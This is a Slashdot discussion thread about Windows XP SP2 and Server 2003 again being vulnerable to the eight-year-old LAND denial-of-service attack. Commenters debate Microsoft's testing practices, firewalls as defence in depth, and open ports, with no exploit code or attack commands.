    32. Re:wow by Anonymous Coward · · Score: 0

      Linux was also vulnerable to this attack, back in the day, and guess what! It was fixed, and then the TCP/IP stack went on to be rewritten from scratch at least once, protocols added, things improved, this and that, and guess what again! It never came back! So, why you are excusing Microsoft is really beyond me, it's not like Microsoft is the only one having "corporate customers that expect things to work". You want a larger "corporate customer" than Google? You know what they run? Yeah, Linux.

      BSD's have even better TCP/IP stacks than Linux, they were also vulnerable, and guess what! The bug didn't come back for them as well. Ditto for Sun, et al.

    33. Re:wow by Vancorps · · Score: 1
      Software does however, degrade. Right here on slashdot we've seen how numorous OS's stand up against time. Adding software can and does break other servers, it can happen in any environment.

      I never argued that this exploit was unfixable, merely that it is not as easy as everyone is making it out to be. I can't see how MS would have made it a priority with the numerous other exploits available that have no patch or fix of any kind.

    34. Re:wow by plague3106 · · Score: 2

      It doesn't matter how many lines of code.

      Said fix for this exploit should NOT be a patch anymore. It should be part of thier baseline code branch.

      Why would you start with a code branch thats missing alot of fixes? You shouldn't, and this patch should have become part of the main trunk years ago.

    35. Re:wow by Vancorps · · Score: 1
      You did not state it was irrelevent, you asked me a further question to which I replied.

      In addition to this, I stated why I said MS was two years old and it has nothing to do with anything you just said. Until 2 years ago MS did not consider security a priority and as such probably did not bother with regression testing or very much QA at all considering their past practices. Two years time is not a lot to create a management system that will do all of this automatically and I see it as an easy mistake to miss.

      Also you are assuming MS actually fixed the problem 8 years ago. There is a difference between fixing an underlying issue and just adding a rule that states if packet meets conditions drop.
    36. Re:wow by Maestro4k · · Score: 1
      Sorry but seems clear you don't grasp the size of the problem and yes it is a problem with security. Most of Microsoft's customers are corporate. They cannot and will not make a change to their operating system that will destroy functionality without providing an alternative. It won't happen, its not realistic to expect so.
      • I politely suggest you actually read my posts before you reply. As I have already pointed out: "Simply this is not something users are going to notice the lack of. They'll certainly notice it's there if their machines gets hit with a Land attack though." This is NOT something that will break any applications or the OS. It is a fundamental failure in the network stack, it's unable to handle a condition that should never occur. Corporations are NOT going to have a problem with patching this.

      As for reintroducing an old problem, have you ever tried to fix a leaky pipe? Guess what? You're gonna spill some water while you try to fix it. What do you do to minimize this? You shut off the water to reduce the amount of water damage while you are repairing the leaky pipe.

      • Yes, but you don't walk off and leave the pipe leaking with the water turned off once you're done. If you do you're a damn shitty plumber. If you do it with a network stack you're a damn shitty programmer. Is this hard to understand?

      You seem to think that they fixed the exploit 8 years ago rather than patching it. I'll bet that is exactly what happened. They remove a dependency which had a dependency which contained a dependency that fixed the exploit.

      • Well then, quite frankly, that's MS's own damn problem. They created the mess and now they have to clean it up. Just because they did a half-assed job in the past does NOT excuse them to let it fall apart in the future.

      As for having the firewall on by default. I in know suggested that it was a shortcut, I merely stated that it was a temporary fix that they could retain while they fixed the problem. I don't what is wrong with this? Would you rather they keep every machine exposed while they fixed the issue?

      • A firewall is not impermeable, it can be circumvented. You might be able to trick someone into turning it off, an E-mail worm may find a way to disable it, etc. So if you want to set there with your firewall and think you're safe, even with at least one 8 year old vulnerability, well good luck, you're going to need it.
      • The problem with your suggestion is they've had EIGHT YEARS to fix this problem. XP was developed in the interim, yet they haven't fixed it. So we've been needing a firewall for eight years to protect our machines while they fix the problem, how many more will it take? Do you think 8+ years is a reasonable time to fix a known vulnerability? I don't.

      As for security being a primary focus: What's your point here? You think they go from being network centric to security centric overnight? Seriously, 2 years is nothing in the grand scheme. There are several hundred million installs of Windows around the world so when you fix something its going to take quite a bit of work to make it perfect. I'd even go as far as saying they couldn't make it perfect, by the time they did the world would have moved on.

      • The point is they've declared a focus on security, and performed a code review 2 years back. The also spent most of a year (if not more) on SP2 for XP, with the goal to make XP secure one of their main goals in SP2. But they screwed up royally, they missed a vulnerabilty that's been know for eight years. What does this say about their dedication to security? Not much, it makes one feel like it's just another marketing ploy.
      • And quite frankly I don't give a damn about all those machines already out there, that's not the point. The point is that XP, even with SP2, is vulnerable to an eight year old vulnerability. Two years is plenty to test the existing code against known vulnerabilities, something that

    37. Re:wow by FireFury03 · · Score: 2, Insightful

      You might forget that MS is not a security company.

      True, but this is like excusing someone who fits front doors after they fit a load which have no locks (and are marketted as having locks) because they're not a security company, just a front door company.

      You tell them they should focus more on security than making a GUI that can be used equally well if you have perfect vision or are blind or anywhere in between.

      Having recently installed Windows XP for some testing (the last version of Windows I used was Win98) I can tell you that the Windows XP interface is absolutely horrendous - Win98's was actually reasonably intuitive but I can't say the same about XP. Infact after having to set up XP I have come to the conclusion that anyone who claims XP is more userfriendly than a modern Linux distribution is sadly mistaken.

      this vulnerability happened after SP2 was released.

      Uh.. huh?!? This is a vulnerability that was known about in a number of operating systems and fixed in Linux in the kernel 2.0 days...

      MS has been working a lot on connectivity over the last year or so with some protocol enhancements and increased IPv6 support.

      Ok, I actually _use_ IPv6, both on my internal network and on the internet at large. After hearing that MS had implemented a wonderful IPv6 stack I tried it out (XP SP2)... Imagine my surprise when I found that yes, there is a wonderful shiny IPv6 stack, but it's almost completely useless since none of the standard MS services actually support IPv6 at all. Thats right, you can't do any stuff like terminal services (RDP) or file sharing (SMB/CIFS), etc over IPv6. By comparison, Linux had a good IPv6 stack in 1998 and most services now support it natively (exceptions are NFS and CUPS).

      So no, I can't accept the idea that MS are slacking on security because they're at the forefront of IPv6 development since they're not even at the level Linux's IPv6 support was at 7 years ago. And even if this was a reason for them slacking on the security side, security is _the most important thing_ to have on a networked system, so it's still not an excuse.

      I certainly hope you're happy with your front door that has a pretend painted-on lock.

    38. Re:wow by operagost · · Score: 1
      Remember that article about a guy with the Windows 95 box and 24 hard disks last year? Remember how someone WinNuked him? Yup, it was me. From my OS/2 box.

      I wish I was joking. I am so lame.

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    39. Re:wow by Lehk228 · · Score: 1

      you just confessed to a felony in an open forum, cya in 10-15.

      --
      Snowden and Manning are heroes.
    40. Re:wow by tonyr60 · · Score: 1

      "As for reintroducing an old problem, have you ever tried to fix a leaky pipe?

      Yes, I have. What does this have to do with the conversation at all?"

      I assume this vulnerability affects the Windows 3D Pipes screensaver...

    41. Re:wow by croddy · · Score: 1

      there are numerous, perfectly good operating system kernels available for them to download on the internet -- with source code -- to use as the foundation of windows.

    42. Re:wow by dasunt · · Score: 1
      In this case, the large object was a land attack, so fixing the pipe and noting that shoving a large object through the pipe did not break it would be expected. However, windows is not a leaky pipe, and it doesn't suffer from cold weather or any other sort of physical degradation. Put simply, this is a known vulnerability that should have been tested as part of QA. It wasn't.

      I was reading `The Pragmatic Programmer' last night, and I believe it mentions that one a bug is found and fixed, your automatic testing scripts should be modified to test for that bug.

      This is going to make a pretty good example for the next edition. ;)

    43. Re:wow by dbIII · · Score: 1
      There is NO legitimate reason whatsoever for a modern, patched operating system to be vulnerable to a simple, 8-year-old DOS attack
      You are talking about an OS that in a previous incarnation dramaticly crashed and stranded a ship due to a divide by zero error - an attack known about a couple of millenia ago.
    44. Re:wow by miu · · Score: 1
      I see a lot of attacks on MS that are silly or unfair, but yours is dead on. The reappearance of a bug like this highlights a very serious process and credibility problem on the part of Microsoft when they claim to have corrected the mistakes of the past and focused on security.

      I really do think there is a lot of hysterical overreaction to some MS bugs, but this really was a massive blunder on their part.

      --

      [Set Cain on fire and steal his lute.]
    45. Re:wow by chthon · · Score: 1

      It is called good coding practices and it consists of design, implementation, testing and feedback.

      A good testing program is easy to find, it is called Nessus.

      When you test, you should be able to feedback information about the testing to the developers through a change management mechanism, call it problem reporting or trouble tickets, it does not matter.

      The status and severity of these problem reports should be followed closely, so as not to have outstanding critical issues anymore upon release time.

      So it seems that there are many places at MS where the feedback loop goes wrong :

      • Bad or non-existing testing practices
      • Problem reporting feedback
      • Follow-up on outstanding problems

      You make the mistake of thinking that a team working on the network stack has to comb through all 300 million lines of code. I think that even at Microsoft there is some partitioning between teams and OS features.

      The fact that this mistake is repeated is a sure sign that there is not enough attention at MS about the way they write software, ie. the processes.

    46. Re:wow by operagost · · Score: 1

      Somehow I don't think he'll press charges.

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    47. Re:wow by Anonymous Coward · · Score: 0

      Pardon me, but your claim that Linux was vulnerable back then (around 1998) when this exploit first appeared, seems to be wrong.

      Please check the postings here, someone posted a list of operating systems further up and according to this, Linux at that time was *NOT* vulnerable.

      Just to get that right. ;-)

      DJM.

  4. News? by Anonymous Coward · · Score: 5, Insightful

    "Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on."

    Machines that are not protected are vulnerable. Well, that isn't really news is it? Sounds pretty silly to me.

    1. Re:News? by A+beautiful+mind · · Score: 4, Insightful

      You forgot something:

      A box running no services should be not vulnerable of any dos except brute force even without a firewall. A firewall shouldn't be a solution to poor design/implementation problems and code bugs. That is simply not working. What if someone gets through the firewall?

      --
      It takes a man to suffer ignorance and smile
      Be yourself no matter what they say
    2. Re:News? by BorgDrone · · Score: 3, Insightful
      "Machines that are not protected are vulnerable. Well, that isn't really news is it?"
      A firewall is an additional level of security, a system should be save without it.
    3. Re:News? by Anonymous Coward · · Score: 0

      I agree with what you are saying. But.. if you don't have a firewall and you are not protecting yourself, sooner or later you are bound to get hit by something/someone.

      We shouldn't have to protect against poor designs, but that is life.

    4. Re:News? by Anonymous Coward · · Score: 0

      A machine running no services wouldn't be vulnerable to this. In order for this to work your machine needs to be connected to the internet, and if you're connected to the internet then you're running a service.

    5. Re:News? by garcia · · Score: 2, Insightful

      What if someone gets through the firewall?

      Then you get attacked I guess but I have a feeling that if the firewall is up the would-be attackers would move on to a more vunerable attacker.

    6. Re:News? by Anonymous Coward · · Score: 0, Insightful

      Great attitude. Do you wear seatbelts? After all, your car should be safe enough without needing them. They're purely optional.

    7. Re:News? by Anonymous Coward · · Score: 0

      Do you have stacks of cash laying around the house because your door are locked?

    8. Re:News? by Anonymous Coward · · Score: 0

      Well it sucks if you have to actually have open ports, e.g. if you have a web server/mail server/file server/etc running on Windows.

    9. Re:News? by InsaneGeek · · Score: 4, Informative

      The LAND attack requires an open port, so by definition if the system isn't running any services it will have no open ports and not be vulnerable to this attack.

    10. Re:News? by Zork+the+Almighty · · Score: 1

      I guess seatbelts are the be-all end-all of safe car design then.

      --

      In Soviet America the banks rob you!
    11. Re:News? by JustForMe · · Score: 5, Funny

      Windows Server must be running some services, I guess..

    12. Re:News? by Siniset · · Score: 0, Troll

      isn't that what airbags are, to make a car safe for people who don't wear their seatbelts?

    13. Re:News? by jayhawk88 · · Score: 1

      What if someone gets through the firewall? Maybe I'm naive but if someone compromises a firewall, I don't think their first thought is going to be "OMG LAND Attack LOLz!!!!"

    14. Re:News? by Anonymous Coward · · Score: 0

      Port 80 is open on a LOT of servers out there. It's one thing to say that you should never have open ports, but can you tell me how the hell you're supposed to use a web server if port 80 is firewalled?

    15. Re:News? by fsck! · · Score: 4, Insightful

      Generally speaking, just about any Windows instance is going to gave at lease these ports open:

      Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-03-07 11:45 EST
      (The 1659 ports scanned but not shown below are in state: closed)
      PORT STATE SERVICE
      135/tcp open msrpc
      139/tcp open netbios-ssn
      445/tcp open microsoft-ds

      So this could reak havoc on business or residential networks. But then, I guess this is what you get for giving your users or peers an inapropriate level of trust.

    16. Re:News? by Anonymous Coward · · Score: 0

      So what port does 'the internet' run on?

    17. Re:News? by IWannaBeAnAC · · Score: 2, Insightful
      That analogy is useless, it just doesn't match how how TCP/IP actually works. Unless you want to do some special packet routing or logging, a firewall should be completely unnecessary.

      To accept a connection on a IP port, you need a service running. If you have no such service running, no connections are possible. Having such services running but then blocking them with another layer of software is pointless and adds more potential failure modes to the system. If you want a stupid car analogy, it is somewhat like putting a large spike on the steering wheel aimed at the driver, and 'compensating' by adding an airbag in the hope of stopping you from impaling yourself on the spike in case of an accident.

      Granted, this is the way Microsoft forces you to act, but that isn't the point.

    18. Re:News? by hypnagogue · · Score: 1

      So, if I understand correctly, your recommendation is that Windows file servers should block port 139?

      This problem is about escalation of threat -- now malware on a single host is capable of bringing down an entire enterprise of file servers even though the file servers themselves haven't been compromised.

      --
      Liberty you never use is liberty you lose.
    19. Re:News? by A+beautiful+mind · · Score: 1

      Getting through a firewall are possible by the unintentionally left open ports ones in 99% of the cases. False sense of security...

      --
      It takes a man to suffer ignorance and smile
      Be yourself no matter what they say
    20. Re:News? by bryhhh · · Score: 1

      Great attitude. Do you wear seatbelts? After all, your car should be safe enough without needing them. They're purely optional.

      A seatbelt is a great device to help protect you should you have an accident. You would be crazy not to wear one, infact it's illegal in many places not to use one.

      Of course, it's best not to crash rather than rely solely on a seatbelt.

      In short, a firewall isn't a replacement for applying security patches, it's there for damage limitation.

    21. Re:News? by PyWiz · · Score: 3, Interesting

      Well, sure, as many people have pointed out, by disabling your firewall you are leaving yourself open to attacks. In addition, the LAND attack is merely a DOS attack and thus does not pose much threat to home computers (and servers would have firewalls).

      However, that is far from the point. The point is that 8 years after an attack was discovered, Microsofts commercial OS was STILL vulnerable to it. Obviously, if they're leaving themselves open to such vintage attacks as LAND, their security testing processes can't be all that great can they? What's there to assure us another more dangerous attack won't be discovered in the near future?

      At least in my opinion, this is yet another argument for open source. The MS developers that worked on this part of the code probably just threw some old stuff together and called it a day. The module was probably review by few other people and thus such an obvious vulnerabilty was released in the final product. With an open source product like Linux, this kind of stuff rarely if ever happens. So many people are scrutinizing the code that the chances of an obvious vuln going unnoticed are next to nothing.

      I guess what I'm saying is, before you leave your critical data to a company propogating closed source products like MS, you should at least make sure they have their proverbial shit together first.

      -py

      --
      -py
    22. Re:News? by Anonymous Coward · · Score: 0

      80. Everyone knows that.... ;-)

    23. Re:News? by Anonymous Coward · · Score: 0

      Does that mean IIS on win2k3 is vulnerable? I mean port 80 is open, right?

    24. Re:News? by A+beautiful+mind · · Score: 2, Insightful

      It all boils down to risk assessment / management / mitigation. But i'm not talking from the user's viewpoint but the software developer's. I mean you can't just tell the users to install firewalls like microsoft does because the system is quite flawed in the first place! I cannot stress this enough:

      A system is only that strong as it's weakest component

      If you put that on a platform level from the viewpoint of a software developer organization it clearly means that you need to code the system in a way that an attacker sees a very low ratio of possible compromisable hosts. Relying on a feature(firewall) to fix a bug(networking code) is NOT the way to do it. That doesn't mean of course that a firewall is not useful or even quite recommended.

      I think if i would claim that 10% of all windows home-user boxes are vulnerable and/or compromised then i think i was really cautious. That 10% however can fu*k up the "fun" for the rest of the 90% too.

      --
      It takes a man to suffer ignorance and smile
      Be yourself no matter what they say
    25. Re:News? by A+beautiful+mind · · Score: 1

      Blah, bollocks!

      The internet can run on 65535 ports!
      Thats why we call it the internets!

      --
      It takes a man to suffer ignorance and smile
      Be yourself no matter what they say
    26. Re:News? by rtaylor · · Score: 1

      Not only that, but a firewall adds complexity to the situation. Many Windows firewalls (including a few early Microsoft attempts) have been known to decrease security because of flaws in the firewall itself.

      If you turn off everything that shouldn't be publically accessable, you should also disable the firewall of the local machine.

      Seperate firewall physically separated from your important data is a different story. Buffer overflows in those probably won't give them access.

      --
      Rod Taylor
    27. Re:News? by B3ryllium · · Score: 1

      Bah! There are too many Internets. We need to separate the Good Internets from the Bad Internets! Because they're Bad!

    28. Re:News? by lullabud · · Score: 1

      Brute force? Brute force of what? A system running no services shouldn't be vulnerable to any attack which involves initiating a connection, and without that there's nothing to brute force.

    29. Re:News? by SquadBoy · · Score: 1

      Yeah right.

      Cause I never would maybe want to run SSH/SFTP and be able to get to it from the inside or from a trusted LAN to my DMZ and not allow anyone from the cloud to get to it. Or I might never want to run a webserver and let a client look at it but not anybody else from the net. And of course all cloud facing servers should have internet legal addresses as opposed to giving them a RFC 1918 address hiding them behind your firewall and then if by chance you sys admin makes a mistake and opens a port that she shouldn't by accident you are still safe till she can fix it. Cause yeah defense in depth is stupid.

      So yes ports that you don't want people talking on should be closed but in the real world that is just not possible and/or you want different groups of people to be able to talk to a given box on different ports. And oh yeah in a building of 300+ nodes you tell me how you are going to be sure that every box is locked down.

      --

      Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
    30. Re:News? by Anonymous Coward · · Score: 0

      He probably meant things like huge packet floods etc. Those would drown your connection even if you had no services running.

    31. Re:News? by dAzED1 · · Score: 1

      The point is that 8 years after an attack was discovered, Microsofts commercial OS was STILL vulnerable to it.

      hear here!

      With all the yammering occuring on this topic, I thought no one else noticed that.

    32. Re:News? by kevcol · · Score: 1

      No, an airbag only offers protection for a fraction of a second after an initial impact. If the car keeps moving uncontrollably, the airbag has already deflated and offers no more help. Anyway, if you don't have an airbag, you can still get massive injury from the seatbelt when you hit an immovable object. Better than being killed (unless you become a vegetable), but not pleasant. The airbag cushions that forward momentum.

    33. Re:News? by IWannaBeAnAC · · Score: 1
      Ok, but you can achieve most of those things with hosts.allow/deny and tcpwrappers.

      In the environment you describe, I would not trust a firewall running on the end-user machines. I would have a separate machine dedicated to the task. But that is a different issue to using a 'personal firewall' simply to get the machine to the state it should have been in the beginning - which is all the firewall on most home machines does.

    34. Re:News? by ErikTheRed · · Score: 2, Funny
      Windows Server must be running some services, I guess..
      <Click>... not anymore! (at least for 20 seconds...)
      --

      Help save the critically endangered Blue Iguana
    35. Re:News? by Anonymous Coward · · Score: 0

      It's idiots like you that sue the car company when you get your nose/arm/neck broken by an airbag because you weren't held in place by the seatbelt.

      Read my lips: airbags are SUPPLEMENTAL safety devices, to be used WITH seatbelts, not INSTEAD of them.

      On second thought, don't wear your seatbelt and disable your airbag. I'm pretty sure we don't want your genes in the pool.

    36. Re:News? by SquadBoy · · Score: 1

      I was talking about a "real" firewall. I thought the parent was also. Must have missed something. Yeah if you were calling "personal firewalls" stupid I have to agree.

      It would seem I was OT.

      --

      Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
    37. Re:News? by micolous · · Score: 2, Insightful

      A firewall should never be used as a first line of defense. Using your analogy of the seatbelt is wrong; what would be a better analogy is to describe the firewall as the airbags.

      If you wear your seatbelt (secure your system and turn off unneeded services), you don't really need the airbag. The airbag is used as a second line of defense in case the seatbelt is ineffective.

      By relying only on the airbag in your car, and not using the seatbelt, you're probably more likely to get injured if you have to stop suddenly or the car is involved in an accident.

      --
      SSdtIGFzIGJvcmVkIGFzIHlvdSBhcmUK
    38. Re:News? by ClosedSource · · Score: 1

      "A firewall shouldn't be a solution to poor design/implementation problems and code bugs."

      And OS or application security shouldn't be a solution to the poor design/implementation problems associated with the Internet.

    39. Re:News? by cortana · · Score: 1

      "So yes ports that you don't want people talking on should be closed but in the real world that is just not possible" Correction: just not possible with Microsoft Windows.

    40. Re:News? by mcc · · Score: 2

      If the idea is that your Windows system will remain safe because attackers will be too busy exploiting the slightly-less-protected Windows systems around you to notice you there, this isn't very comforting.

    41. Re:News? by IWannaBeAnAC · · Score: 1

      No prob, it was a dumb comment I replied to originally, but I should have clarified.

    42. Re:News? by Skye16 · · Score: 1

      Some kid peed in it anyway :|

    43. Re:News? by DavidTC · · Score: 1
      No, his recommendation is that Windows web servers should block incoming port 80.

      Seriously, personal firewalls are idiotic for incoming ports. You should just turn every service off that's not in use.

      What do you mean, there's no easy way to do that in Windows?

      --
      If corporations are people, aren't stockholders guilty of slavery?
    44. Re:News? by SillyNickName4me · · Score: 1

      Hmmm.. maybe tell Bush about that.. or better don't.. he might start a war on the bad internets..

    45. Re:News? by DavidTC · · Score: 1
      It's not still.

      They're vulnerable to it again.

      They already solved the damn problem on 9x, and everyone was happy for years and years, until some crazy person decided to try the attack against XP SP2 and died of shock when it worked.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    46. Re:News? by TeraCo · · Score: 2, Insightful
      That's funny, because in our enterprise network, our firewalls ARE our first line of defence. ie: There isn't anything in front of our firewalls besides a few routers.

      Security patching is our last line of defence, because if you're actually getting packets to the servers, that packet has already been vetted by two different types of firewall and a number of routers.

      --
      Not Meta-modding due to apathy.
    47. Re:News? by Anonymous Coward · · Score: 0

      Not necessarily. I use the IPSEC policy tool to drop packets from outside interfaces to these ports. But then, this machine hardly ever boots to Windows anyway.

    48. Re:News? by Renegrade · · Score: 2, Interesting

      I've always thought of my driving as being the first line of defense, and my seatbelt as being the second line, there in the case that the first fails. Ideally there shouldn't be any accidents (the software shouldn't self destruct when reading malformed data) but it doesn't hurt to wear your seatbelt, just in case (firewall).

      I'm leaving airbags out of this entirely, because studies of them don't seem to show enough improvement to have this explosive device installed in the cabin of the vehicle. Especially since older models (such as the ones I have) can injure adults and kill children.

      Getting really off topic - Has anybody ever thought of putting high performance seatbelts in passenger vehicles? You know, extra padding, double belts/belt webs for better weight distribution, etc, like the type used in racing cars?

    49. Re:News? by drinkypoo · · Score: 1

      Most home users have only one machine and no reason to have windows file sharing turned on. It makes no sense that any home version of Windows should be running file sharing by default. Without file sharing, you have no need for the SMB service...

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    50. Re:News? by rs79 · · Score: 1

      "A system is only that strong as it's weakest component"

      Usually the CPU fan. And I'm not sure how long a modern AMD chip lasts without one but I know from very recent epirical evidence that it is less time than it takes me to shower.

      --
      Need Mercedes parts ?
    51. Re:News? by drinkypoo · · Score: 1

      Firewalls are traditionally default deny. Usually getting through a firewall is made possible by exploits in services running on hosts behind the firewall.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    52. Re:News? by Anonymous Coward · · Score: 0

      Do you lock your garage door? If so, then your car should be safe enough without locks installed.

    53. Re:News? by drinkypoo · · Score: 1
      You are forgetting that programmers make errors and sometimes services that you DO want to expose to a limited audience have holes in them. Even our respective ssh daemons out there have occasionally had remote holes. A firewall allows you to determine at the OS level who is entitled to make a connection. It provides this functionality in a central location and with a standard API rather than having it spread about among programs.

      Sure, you can do all this stuff at the application level, but does that really make sense? Personally I'd rather even binding to interfaces were moderated by some external resource. Putting it in the OS makes it available to everyone. For example hula's POP, IMAP, and SMTP daemons listen on all interfaces. You can tell the web daemon to bind only to a certain interface, but not all the mail ones. If I had control over this in the OS, I wouldn't care. If the application wants to give you the ability to change those things from within the application, then the programmer has the option to include it, but they can't take the ability to set it outside away from me.

      Now I'm not much of a programmer and I've never done any work on an operating system, but it seems to me that adding the functionality to the operating system (and/or its included libraries) makes more sense. Once a security hole is fixed for one program, it's fixed for all programs. Optimizations affect everyone at the same time. We choose an operating system because it provides us the functionality we're looking for and because we are willing to trust it with our data. Sometimes people make poor decisions there based on incomplete understanding of the problem, but let's not belabor the obvious - the point is that it's good to have this functionality and more in the operating system somewhere.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    54. Re:News? by Anonymous Coward · · Score: 0

      The only reason to use a personal firewall is because Windows requires certain services such as DCOM to be running and XP does NOT allow binding only to certain interfaces. Windows 2000 let you configure DCOM and RPC to bind only to localhost but that feature was removed in XP so you need a personal firewall to compensate.

    55. Re:News? by fani · · Score: 0

      A firewall shouldn't be a solution to poor design/implementation problems and code bugs. That is simply not working. What if someone gets through the firewall? ... that would mean the firewall has poor design/implementation problems and code bugs. That is simply not working .....

      Firewalls are needed to be the catch-all. The second (or first depending on how you look at it ) layer of defense. This is the reason why forts had moats built around it.

    56. Re:News? by wamatt · · Score: 1

      This is actually not so bad as I thought. We manage a whole bunch of Windows 2003 servers (RAS firewall does not block this unlike SP2).

      I tested it against a machine on the LAN using NEMESIS (packet injector) and it owned the box for 15 seconds as stated.

      I then tried it on some of our backup servers in the datacenter, nothing. This is because basically all edge routers block this type of stuff.

      So really an attacker would have to host a machine in the same DC probably on the same switch to attack you.

    57. Re:News? by Anonymous Coward · · Score: 0

      Machines that are not protected are vulnerable. Well, that isn't really news is it? Sounds pretty silly to me.

      Yeah, because nobody would ever run webservers or any other services on windows, its just for games (but not game servers) and microsoft office.

    58. Re:News? by fsck! · · Score: 2, Insightful

      Most home users have no idea what you're talking about. The default config, for the vast majority of installations, is the only config.

    59. Re:News? by Anonymous Coward · · Score: 0

      so .... ...please tell me how to stop windows listening on any ports at all ???

    60. Re:News? by Sick+Boy · · Score: 1

      Electrical components tend to last longer if you don't shower with them. Especially components that weren't designed to be water-proof.

      --
      Does narcissism count as a hobby? --Shawn Latimer
    61. Re:News? by Anonymous Coward · · Score: 0

      Why is it that Windows Server needs a service to tell it that it's a server?

    62. Re:News? by Siniset · · Score: 1

      hmmm... i guess i had remembered reading somewhere that airbags were designed for an average height man not wearing his seatbelt, which is why it was killing short women and children. that's what i was commenting on. Thanks for the info.

    63. Re:News? by frog51 · · Score: 1

      Slight rant - I am always puzzled by the reliance people place on firewalls. A firewall is a wall with holes in. A firewall in front of a web server usually has holes for ports 443 and 80, meaning packets on those ports get through. First line of defence does get rid of all those other packets, so that's good.

      A deep inspection app (as part of the firewall, or as a standalone) ca strip out obviously malicious code, once a signature is found. So hopefully valid html is all that gets through this 2nd line.

      We can still have overlong http requests and attacks that are valid html at this point, so how about another layer...for IIS Urlscan can help a lot here, but we are still left with http requests getting to a web server (because that is what is supposed to happen)

      So sort the server and the application - those other lines of defence will be exploited at some point. The question is only when. Make breaching each layer difficult, and you gain a lot of security, but adding layers of protection, and protecting each app, device, protocol etc is a good thing (tm)

    64. Re:News? by TeraCo · · Score: 1

      Agreed, and my team is responsible for keeping all of the servers patched. I was merely pointing out that my parent poster didn't quite understand 'first line of defence'.

      --
      Not Meta-modding due to apathy.
  5. Windows by Anonymous Coward · · Score: 5, Funny

    Only one remote hole in the kernel FOR eight years!

  6. Wait... by Gorffy · · Score: 5, Funny

    You mean to tell me that XP and 2k3 contain buggy legacy code? that IS news!

    1. Re:Wait... by aug24 · · Score: 1

      Well, you've got to support your old APIs, right? This is reverse compatibility taken to the logical extreme ;-)

      J.

      --
      You're only jealous cos the little penguins are talking to me.
    2. Re:Wait... by Anonymous Coward · · Score: 0

      Even worse...

      Image hordes of script kiddies that are scrambling to find each and every Windows 95 exploit that was ever made, just to test it if Microsoft managed to reimplement it.

      Anonymous Cowards Unite

  7. What kind of software dev process do MS use? by Ex+Machina · · Score: 5, Interesting

    Isn't this EXACTLY what regression tests were designed for?

    1. Re:What kind of software dev process do MS use? by Anonymous Coward · · Score: 5, Funny

      Regression testing makes sure that things that used to work in the old version still works in the new version, so I'd say that windows is passing its regression tests with flying colors ;)

    2. Re:What kind of software dev process do MS use? by KDN · · Score: 5, Interesting
      Several jobs ago, the I did software development. The manager didn't like how every time I found a significant bug I added it to a test library that I kept and ran against every version of the code that I was about to put out to the group. His thought was "the odds of someone making the same mistake twice are non existent". One time he told me to put the code out before it was done the regression tests. Sure enough, crash and burn. And yes, my regression tests later caught the bug. Never again.

      As a further indication that I was right, I put an interface around the public interface of my libraries to validate all the parameters and actions. I noticed some people would make the same error so much that I even personalized some of the error messages. Like: "Your passing a string instead of an address John", and "Your reading from a closed object Kevin".

    3. Re:What kind of software dev process do MS use? by jd · · Score: 3, Funny
      Hey, give Microsoft a chance! Windows is regressing as fast as it can! :)


      Oh, regression tests! Those things! Bill Gates thought they were just funny-looking packing peanuts and threw them out.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    4. Re:What kind of software dev process do MS use? by Phanatic1a · · Score: 5, Funny

      Or even "You're not using contractions properly, KDN"?

    5. Re:What kind of software dev process do MS use? by Threni · · Score: 0, Troll

      Did anyone ever reply "You're using the wrong spelling of "You're", KDN"?

    6. Re:What kind of software dev process do MS use? by tdemark · · Score: 0, Troll

      I noticed some people would make the same error so much that I even personalized some of the error messages. Like: "Your passing a string instead of an address John", and "Your reading from a closed object Kevin".

      "You keep using "your" instead of "you're" KDN."

    7. Re:What kind of software dev process do MS use? by Technician · · Score: 2, Interesting

      things that used to work in the old version still works in the new version

      Slightly offtopic but in reply to the parent post..

      My wife bought a new machine with XP home. I decided to move some files. I turned on sharing. I wanted some protection. I tried to set a password on the shared folder.... Um where do you set a password on a folder for read and write privilages? It is missing. You can't share a folder and deny write privilages! This is major not good. My old version of Windows 95 does better on that one. XP home does not pass the Regression test. It's been crippled in several security areas. Ouch! MS missed on that one.

      I'd say that windows is passing its regression tests with flying colors ;)

      Secutity is job 1 Yea, Right!

      --
      The truth shall set you free!
    8. Re:What kind of software dev process do MS use? by XorNand · · Score: 3, Informative

      Yeah, that's the Simple File Sharing "feature" of XP Home Edition. Enabled by default, it can be annoying if you're used to doing things the "old way" (user friendly, but expert hostile). Just use this KB article to turn it off.

      --
      Entrepreneur : (noun), French for "unemployed"
    9. Re:What kind of software dev process do MS use? by B3ryllium · · Score: 1

      I use XP Pro, so there could be a difference, but when you click on the Sharing box under Pro, there's the option to share the folder, and then just below that there's a spot to "allow users to write to this folder" - and it's off by default. Home might be different, but I certainly hope it's not as different as you're claiming.

    10. Re:What kind of software dev process do MS use? by ErikTheRed · · Score: 1
      My wife bought a new machine with XP home. I decided to move some files. I turned on sharing. I wanted some protection. I tried to set a password on the shared folder.... Um where do you set a password on a folder for read and write privilages? It is missing. You can't share a folder and deny write privilages! This is major not good. My old version of Windows 95 does better on that one. XP home does not pass the Regression test. It's been crippled in several security areas. Ouch! MS missed on that one.
      I don't recall the specifics (It's been a loooong time since I'v messed with XP Home), but many of these options reappear magically if you boot in "Safe Mode" - I do vaguely remember being able to do some *reasonably* secure file sharing using an XP home box as the "server".

      So the irony is that Microsoft can't even secure security features they're trying to cripple so they can make an extra ~$150 on you upgrading to XP "Pro"...
      --

      Help save the critically endangered Blue Iguana
    11. Re:What kind of software dev process do MS use? by Anonymous Coward · · Score: 0

      Your baiting the grammar nazis KDN.

    12. Re:What kind of software dev process do MS use? by phayes · · Score: 1

      The KB article referenced only really applies to XP Pro. The "Use Simple File Sharing" does not exist in XP Home when booted normally. When booted into XP's so called "Safe" mode a number of security commands that are not normally visible become available, but I don't call booting into safe mode, changing a setting then rebooting & discovering thet the changed setting does not work "working".

